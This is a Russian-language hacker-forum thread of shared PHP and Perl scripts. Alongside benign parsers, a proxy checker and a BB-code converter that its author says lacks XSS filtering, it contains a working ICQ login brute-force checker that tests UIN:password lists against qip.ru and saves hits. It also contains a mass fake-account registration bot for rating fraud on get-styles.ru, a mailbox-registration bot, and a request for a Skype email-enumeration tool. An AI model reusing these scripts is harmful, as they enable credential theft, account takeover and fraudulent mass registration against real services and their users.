curl_setopt ($ch, CURLOPT_HEADER, 1);
// если проверяеться HTTP User-agent
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
// использовать метод POST
curl_setopt ($ch, CURLOPT_POST, 1);
// передаем даные
curl_setopt ($ch, CURLOPT_POSTFIELDS, '?title=Спеціальна%3ASearch&search='.$zapros.'&fulltext=Пошук');
// вернуть результат
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
// делаем запрос
curl_exec ($ch);
// Берем результат
$result = curl_multi_getcontent ($ch);
// Парсимо с помощю регулярки
// масив $var[0] будет помещать результаты полного совпадения с шаблоном
preg_match_all("#(<a href=)(.*)(<span class='searchmatch'>)(.*)(</a>)#", $result, $var);
// выводим результаты
foreach ($var[0] as $value)
{
if ( !preg_match("#http://#", $value) )
{
$value = preg_replace("#/wiki/#", "http://uk.wikipedia.org/wiki/", $value);
}
$urls[] = $value;
}
//Выводим результати
echo '<div align="center" class="urls">';
for ($i=0; $i<15; $i++)
{
echo ''.$urls[$i].'     ';
}
echo '</div>';
}
?>
</body>
</html>
Вот держи,старенький,но зато рабочий)))
<? /************************************************** ************** * * * * * This will perform a basic connectivity and anonymity test * * * * Simply upload to a php enabled webserver and change the * * configurable parameters below if you so desire * * * * 2005-11-11 v0.1 - Compatible with Charon v0.5.3.5 * ************************************************** **************/ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><title>Online proxy tester</title></head> <body bgcolor="black" text="white"> <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 5; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { echo 'Testing ' . $proxies[$thisproxy] . ' .....'; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo '.. Anon<br>' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo '.. Non anon<br>' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo '.. Dead<br>' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo '<br><b>Anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo '<br><b>Non-anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo '<br><b>Dead proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) echo $bad_proxies[$thisproxy] . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<h2>Online Proxy checker</h2>' . "\n"; echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"><br>' . "\n"; echo '<input type="submit" value="Check proxies">' . "\n"; echo '</form>' . "\n"; } ?> </body> </html>
А можно выложить, чтоб не в одну строчку? :)
А можно выложить, чтоб не в одну строчку? :)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>Online proxy tester</title></head>
<body bgcolor="black" text="white">
<?php
// Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config)
error_reporting(0);
// Limit the amount of proxies that can be tested at any one time
$maximum_proxies_to_test = 5;
// Enter a password (if required) to protect the page
$password = '';
// Actual proxyjudge part of the page
function return_env_variables()
{
echo '<pre>'."\n";
foreach ($_SERVER as $header => $value )
{
if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0))
{
echo $header.' = '.$value."\n";
}
}
echo '</pre>';
}
// Function to go away and get the page (calls through the proxy back to itself)
function get_judge_page($proxy)
{
// Depending on the server environment, this timeout setting may not be available.
$timeout = 15;
$proxy_cont = '';
list($proxy_host, $proxy_port) = explode(":", $proxy);
$proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout);
if ($proxy_fp)
{
stream_set_timeout($proxy_fp, $timeout);
fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n");
while(!feof($proxy_fp))
{
$proxy_cont .= fread($proxy_fp,4096);
}
fclose($proxy_fp);
$proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
}
return $proxy_cont;
}
// Check for the control string to see if it's a valid fetch of the judge
function check_valid_judge_response($page)
{
if(strlen($page) < 5)
return false;
return strpos($page, 'REMOTE_ADDR') !== false;
}
// Check for the IP addresses
function check_anonymity($page)
{
if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false)
return false;
return true;
}
// Takes and tests a proxy
// 0 - Bad proxy
// 1 - Good (non anon) proxy
// 2 - Good (anonymous) proxy
function test_proxy($proxy)
{
$page = get_judge_page($proxy);
if(!check_valid_judge_response($page))
return 0;
if(!check_anonymity($page))
return 1;
return 2;
}
////////// Main Page ////////////
// If this is a judge request, just return the environmental variables
if(getenv('QUERY_STRING') == "test")
{
return_env_variables();
}
// Else check whether we have been passed a list of proxies to test or not
// Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x)
elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') &&
(isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') &&
( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) ))
{
$proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1);
// Set the overall time limit for the page execution to 10 mins
set_time_limit(600);
// Set up some arrays to hold the results
$anon_proxies = array();
$nonanon_proxies = array();
$bad_proxies = array();
// Loop through and test the proxies
for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1)
{
echo 'Testing ' . $proxies[$thisproxy] . ' .....';
flush();
switch(test_proxy($proxies[$thisproxy]))
{
case 2:
echo '.. Anon' . "\n";
$anon_proxies[count($anon_proxies)] = $proxies[$thisproxy];
break;
case 1:
echo '.. Non anon' . "\n";
$nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy];
break;
case 0:
echo '.. Dead' . "\n";
$bad_proxies[count($bad_proxies)] = $proxies[$thisproxy];
break;
}
}
echo '<pre>';
echo 'Anonymous proxies' . "\n";
for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1)
echo $anon_proxies[$thisproxy] . "\n";
echo 'Non-anonymous proxies' . "\n";
for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1)
echo $nonanon_proxies[$thisproxy] . "\n";
echo 'Dead proxies' . "\n";
for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1)
echo $bad_proxies[$thisproxy] . "\n";
echo '</pre>';
}
// Just a blank call of the page - show the form for the user to fill in
else
{
echo '<h2>Online Proxy checker</h2>' . "\n";
echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n";
echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n";
echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n";
echo '<input type="hidden" name="action" value="fred">' . "\n";
echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea>
' . "\n";
if(strlen($password) > 0)
echo 'Password: <input type="password" name="password" size="15">
' . "\n";
echo '<input type="submit" value="Check proxies">' . "\n";
echo '</form>' . "\n";
}
?>
</body>
</html>
Подскажите, может у кого есть пхп-скрипт (или несложно набросать), который бы делал следующее:
1) берет из файла построчно список УРЛов
2) запрашивает УРЛ/my-string/
3) если код ответа 200, то парсит тэг <title>*</title>
4) заносит в .txt файл.
Сам сделал:
<?php
$lines = array_map('rtrim',file('zurl'));
foreach ($lines as $line_num => $line)
{
$html = file_get_contents($line);
if(preg_match('/<title>(.*)<\/title>/smU', $html, $matches))
$title = $matches[1];
echo $line.'\t'.$title.'\t';
}
?>
Deathdreams
25.02.2010, 16:48
Подскажите, может у кого есть пхп-скрипт (или несложно набросать), который бы делал следующее:
1) берет из файла построчно список УРЛов
2) запрашивает УРЛ/my-string/
3) если код ответа 200, то парсит тэг <title>*</title>
4) заносит в .txt файл.
Сам сделал:
<?php
$lines = array_map('rtrim',file('zurl'));
foreach ($lines as $line_num => $line)
{
$html = file_get_contents($line);
if(preg_match('/<title>(.*)<\/title>/smU', $html, $matches))
$title = $matches[1];
echo $line.'\t'.$title.'\t';
}
?>
$file = "url.txt";
$file = array_map('trim', file($file));
foreach( $file as $n => $url ) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.64 (Windows NT 5.1; U; MRA 5.4 (build 02647); en) Presto/2.1.1');
$ss = curl_exec($ch);
if( preg_match("#HTTP/1.(0|1) 200 OK#i", $ss) ){
preg_match("#<title>(.+)</title>#U", $ss, $title_tmp);
file_put_content('stream.txt', "URL: ".$url.";TITLE: ".$title_tmp[1]."\r\n", FILE_APPEND);
echo "URL: ".$url.";TITLE: ".$title_tmp[1]."<br>"
}
}
Не тестил
Нужен скрипт для оперы авто\заполнения форм заказа товара имя, фам, адрес и т.д
Deathdreams
26.02.2010, 16:22
Нужен скрипт для оперы авто\заполнения форм заказа товара имя, фам, адрес и т.д
дай сайт.
Так это же стандартный жезл оперы или я ошибаюсь???
Dark_Scorpicore
27.02.2010, 18:03
Парсер страницы вконтакте
я тебя очень огорчу, но есть http://vk.com/feed2.php, код сокращается в 3 раза
Нужен скрипт для оперы авто\заполнения форм заказа товара имя, фам, адрес и т.д
Imacros для ie/firefox поможет
Imacros для ie/firefox поможет
firefox"ом непользуюсь, для оперы данный софт существует?
zifanchuck
06.03.2010, 18:26
Навалял за 5 мин. Прокси не нужны. Скорость на моем канале (1мбит) примерно 2 ППС (норм как для однопоточного). После нескольких К пробрученого мой нум определяет норм.
Для роботы нужен файл source.txt в котором лежат уины для брута в формате
уин:пасс
Пробрученые уины он удаляет из файла (чтобы можно было отключить, а потом начать с последнего). Гуды гладет в good.txt .
п.с скорость не замеряет (я засекал).
сам код
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function write($path,$page_body)
{
$file=fopen($path,"w");
fwrite($file,$page_body);
fclose($file);
}
function read($path)
{
$file=fopen($path,"r");
$bufer = fread($file,filesize($path));
fclose($file);
return($bufer);
}
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
$read = explode("\r\n",read('source.txt'));
$count=count($read);
for($i=0;$i<$count;$i++)
{
list($uin,$pass) = explode(":",$read[$i]);
$result = curl('http://start.qip.ru/reg/test?user='.$uin.'&pass='.$pass,'');
if($result=='200') add('good.txt',$read[$i]."\r\n");
unset($read[$i]);
$zapis = implode("\r\n",$read);
write('source.txt',$zapis);
}
echo 'end';
?>
Vlad&slav
13.03.2010, 00:39
Регер на сайте http://get-styles.ru/ от меня
Для накрутки рейтинга
<?php
$vkid = '123456';
$promo = '105103';
//
$chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789';
$num = strlen($chars);
$string = '';
for ($i = 0; $i < 8; $i++)
{
$string .= substr($chars, rand(1, $num) - 1, 1);
}
$w = 'username='.$string.
'&password='.$string.
'&confirm_password='.$string.
'&email='.$string.'%40mail.ru'.
'&vkontakteId='.$vkid.
'&promo='.$promo.
'®ister=%D0%97%D0%B0%D1%80%D0%B5%D0%B3%D0%B8%D1%8 1%D1%82%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D1%82% D1%8C%D1%81%D1%8F';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://get-styles.ru/register');
curl_setopt($ch, CURLOPT_REFERER, 'http://get-styles.ru/register');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Firefox/3.5.2');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $w);
$res = curl_exec($ch);
curl_close($ch);
if(strlen($res) > 50)
{
$fp=fopen('log.txt', 'a+');
fputs($fp, $w."\n");
fclose($fp);
echo '<br><br>'.$w.$res;
}
// coding by null icq 2.6.6.3.2.2
?>
Демо http://xakscript.eu5.org/reg.php?vkid=56821901&promo=105103
(цифры в строке подставите свои)
Njarray_unique(); только эта ф-ция удаляет как повторы,так и оригиналы. То есть, если есть повтор,то такой элемент вообще из массива будет удален.
function array_kill($array)
{
$uniq = array_count_values($array);
foreach ($uniq as $key => $value) {
if ($value > 1) {
for ($i = 0; $i < $value; $i++) {
unset($array[array_search($key, $array)]);
}
}
}
return (array_values($array));
}
SkyLine32
16.03.2010, 02:15
Помогите решить проблему. Есть скрипт (онлайнер вконтакте):
<?php
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result; };
$email = '';
$pass = '';
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>')) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
?>
Запускаю на денвере, работает нормально, заливаю к себе на сервер, ошибка 504 Gateway Time-out и онлайнер не логинится с vkontakte.ru
Curl библиотека включена
cURL support: enabled
cURL Information: libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18
additional .ini files parsed: /etc/php5/apache2/conf.d/curl.ini
/etc/php5/apache2/php.ini - extension=php_curl.dll
Подскажите пожалуйста, что мне нужно исправить на серваке?
Скрипт явно рабочий.
Спасибо!
Pashkela
16.03.2010, 05:29
#!/usr/bin/perl
prog(1,12,20,1); # start, end, number of "=" when 100%, pause (in seconds)
sub prog() {
$| = 1;
my($start, $end, $del, $pause) = @_;
my $interval = $end/$del;
for(my $i = $start; $i <= $end; $i++) {
my $percent = ($i/$end)*100;
my $step = int($i/$interval);
printf("%3d%% %s%s\r", $percent, "=" x $step, ">");
sleep $pause;
}
}
# © Pashkela for antichat.ru, 2010
Deathdreams
18.03.2010, 18:01
2SkyLine32
используй set_time_limit(0);
Очень срочно понадобился скрипт для замены BB-кодов, на html, с возможность добавления своих bb-кодов в любое время. Скрипт нужен был маленький, и как можно быстрее.никаких проверок на противные скрипты нет, ибо там где это стоит оно не нужно :D Вроде бы работает, и возможно кому то пригодиться.
class BBCode
{
var $bbdata, $allow;
function LoadData($data,$list)
{
$this->bbdata = $data;
$this->allow = $list;
}
function Execute()
{
foreach ($this->allow as $key => $setting) {
if (stripos($setting['pattern'], "(p)")) {
if (preg_match_all('#\[' . $key . '?(.*)\](.*)\[/' . $key . '\]#iU', $this->
bbdata, $match)) {
$count = count($match[0]);
for ($i = 0; $i < $count; $i++) {
list(, $param) = explode('=', $match[1][$i]);
$value = $match[2][$i];
if (!$param) {
if ($setting['auto']) {
$this->bbdata = str_replace($match[0][$i], str_replace('(p)', $value,
str_replace('(v)', $value, $setting['pattern'])), $this->bbdata);
} elseif ($setting['default']) {
$this->bbdata = str_replace($match[0][$i], str_replace('(p)', $setting['default'],
str_replace('(v)', $value, $setting['pattern'])), $this->bbdata);
} else {
continue;
}
} else {
$this->bbdata = str_replace($match[0][$i], str_replace('(p)', ($param ? $param :
$value), str_replace('(v)', $value, $setting['pattern'])), $this->bbdata);
}
}
}
} else {
$exp = explode('(v)', $setting['pattern']);
$this->bbdata = preg_replace('#\[' . $key . '\](.*)\[/' . $key . '\]#iU', $exp[0] .
'$1' . $exp[1], $this->bbdata);
}
}
return($this->bbdata);
}
}
$list['color'] = array('pattern' => '<font color="(p)">(v)</font>', 'default' =>
'blue');
$list['b'] = array('pattern' => '<b>(v)</b>');
$list['url'] = array('pattern' => '<a href="(v)">(p)</a>', 'auto' => true);
$list['i'] = array('pattern' => '<i>(v)</i>');
$list['s'] = array('pattern' => '<s>(v)</s>');
$list['left'] = array('pattern' => '<div align="left">(v)</div>');
$list['right'] = array('pattern' => '<div align="right">(v)</div>');
$list['img'] = array('pattern' => '<img src="(v)" />');
$list['size'] = array('pattern' => '<font size="(p)">(v)</font>', 'default' =>
'3');
$date = 'Something text, Bold text,Red text,http://server.com (Push on me!), http://url-no-href.com/pew/https://forum.antichat.ru/avatars/avatar67142.gif';
$bbcode = new BBCode;
$bbcode->LoadData($date,$list);
echo $bbcode->Execute();
Добавление тегов сделал через массив, ибо у меня они храняться в базе, и мне так проще, тут выглядит страшнее :). И для решения некоторых проблем пришлось ввести параметры default, auto.
auto - Если не установленно параметров([url] без =bla), то береться value.
(p) в шаблонах - параметры, если есть, то что внутри первого тега после =.
(v) - значение, тоесть то, что между тегами.
default - если параметр пуст, то будет подставлено это значение.
Писалось за полчаса ибо нужно было действительно сложно,а на доработку длинных скриптов с phpclasses.org ушло бы времени больше.
Все, теперь убежал срочно дописывать редактор текста на jquery :(
<?php
header('Content-Type: text/html; charset=windows-1251');
/****** массив для добавления окончания к нику *******/
$l = array('1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
while ($i < 5) {
$word .= $l[array_rand($l)];
$i++;
}
/*********** для реги *********/
$name = 'onotole';/// приставка к нику
$pwd = 'qwertyololo'; /// пароль
/********** страница для парсинга *******/
$a = file_get_contents('http://inbox.chmail.ru/register/');
/****** парсим капчу ******/
preg_match('#<td align=center><img src="(.*)" width=130 height=35 border=0>#', $a, $sec);
/****** выводим капчу *********/
$im="<img src='http://inbox.chmail.ru".$sec[1]."'>";
echo '<form id="form1" name="form1" method="post" action="">
<input type="text" name="reg" />
<input type="submit" name="Submit" value="Submit" />
</form> <br />
'.$im.'';
$reg=$_POST['reg'];
/****** курл сеанс ********/
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://inbox.chmail.ru/register/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'login='.$name.''.$word.'&domain=chmail.ru&passw1='.$pwd.'&passw2='.$pwd.'&question=Как зовут Вашу собаку&answer=cu4ka&gender=unknown&gmt=16&sec_code='.$reg.'&submit=Зарегистрироваться&day=0&month=0&year=0&agree=1');
$exec = curl_exec($ch);
curl_close($ch);
$log=$name.$word.";".$pwd;
$fp=fopen("good.txt", "a");
fputs($fp, $log."\r\n");
fclose($fp);
?>
реггир мыл
Друзья нужна ваша помощь, есть файл.txt в котором хранятся строки в таком виде:
jopa123
jopa234
ass
jopa6534
asss
Мне необходимо удалить из этого файла все строки содержащие jopa(цыфры). Заранее благодарю.
Ili@s try this
#!/usr/bin/perl
use IO::File;
open FILE,"<file.txt" or die "Cannot read the file file.txt !\n";
while ($line = <FILE>) {
if ($line =~ m/jopa/i) {
open(OUTFILE, ">>01.jopa-Found.txt");
print OUTFILE "$line";
}
else{
open(OUTFILE, ">>02.No-jopa-Found.txt");
print OUTFILE "$line";
}
}
Нужно сделать листинг директории на php...
пример: http://doris.kiev.ua/RS/
чтобы было нажимабельно...
Нужно сделать листинг директории на php...
пример: http://doris.kiev.ua/RS/
чтобы было нажимабельно...
Это же стандартный апатчевский экран, это не скрипт, а его отсутствие.
Нужно сделать листинг директории на php...
пример: http://doris.kiev.ua/RS/
чтобы было нажимабельно...
:/ Это не php, это настройка апача. Нет индекса - выводится индексы всех файлов вложеных в папке, на которую идет обращение.
М... как сие чудо реализовать? в директории есть пару папок и при просмотре директории выходит 403...
Друзья нужен скрипт который будет брать мыла из файла такого вида:
mail@domen.ru
mail2@domen.ru
mail3@domen.ru
ипроверять их на регистрапцию в скайпе, если мыло там зарегестрировано то в один файл, незарегестрированые в другой. Если есть такой уже то ткните носом. Заранее спасибо!
ReduKToR
23.04.2010, 18:30
xo0x, глянь сорц любого шелла) там найдешь код который тебе нужен)
не такой конешно, но сочинить можно!
phpdreamer
23.04.2010, 19:16
М... как сие чудо реализовать? в директории есть пару папок и при просмотре директории выходит 403...
на пхп так:
<?php
echo '<a href="../">..</a><br />';
$handle = opendir('.');
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
echo "<a href=\"$file\">$file</a><br />";
closedir($handle);
?>
ну а вообще в .htaccess строку
Options -Indexes
замени на
Options Indexes nameOfYuorDir1 nameOfYuorDir2 nameOfYuorDir3
(nameOfYuorDir это имена папок, в которых можно смотреть содержимое при отсутствии индексного файла)
добавь туда строки
Order allоw,deny
Allow from аll
и выставь права на каталоги...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot